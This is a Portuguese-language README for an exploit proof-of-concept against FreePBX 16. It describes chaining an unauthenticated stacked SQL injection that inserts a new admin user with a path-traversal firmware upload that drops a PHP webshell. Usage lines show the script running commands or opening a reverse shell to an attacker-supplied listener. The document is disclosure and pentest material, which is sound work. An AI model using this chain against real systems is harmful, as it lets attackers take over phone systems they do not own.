FreePBX 16 — SQLi não autenticado para RCE

Exploit proof-of-concept que encadeia duas vulnerabilidades do FreePBX para ir de zero acesso a execução remota de código no FreePBX 16.

Como funciona

1. Criar um admin (CVE-2025-57819) — uma injeção SQL empilhada acessível sem autenticação através do carregador de endpoint namespaced é usada para INSERT um administrador de acesso total novinho em folha diretamente na tabela ampusers.
2. Autenticar — o PoC faz login no painel administrativo como o usuário recém-criado.
3. Soltar uma webshell (CVE-2025-61678) — o manipulador de upload de firmware do Endpoint Manager é abusado com um traversal ../../../var/www/html/<dir> em fwbrand para escrever uma webshell PHP na raiz web.
4. Executar — execute um único comando ou receba um shell reverso interativo.

Versões afetadas

FreePBX 16 (módulo Endpoint anterior à 16.0.92). Também corrigido nas versões 17.0.6. Atualize para uma versão corrigida.

Uso

# single command
python3 exploit.py --rhost pbx.example.com --command "id"

# interactive reverse shell (auto-listener via pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# plain HTTP / custom port
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

Opções

Requisitos

pip install requests pwntools

Aviso Legal

Apenas para testes de segurança autorizados e fins educacionais. Use-o exclusivamente em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O autor não assume nenhuma responsabilidade por uso indevido.

Palavras-chave

FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk · CVE-2025-57819 · CVE-2025-61678 · injeção SQL não autenticada · injeção de consulta empilhada · módulo endpoint · Endpoint Manager · upload de arquivo autenticado · path traversal · execução remota de código · RCE · PoC · exploit · segurança VoIP

linkedin: ehxb · medium.com/@Ehxb · github 0xEhxb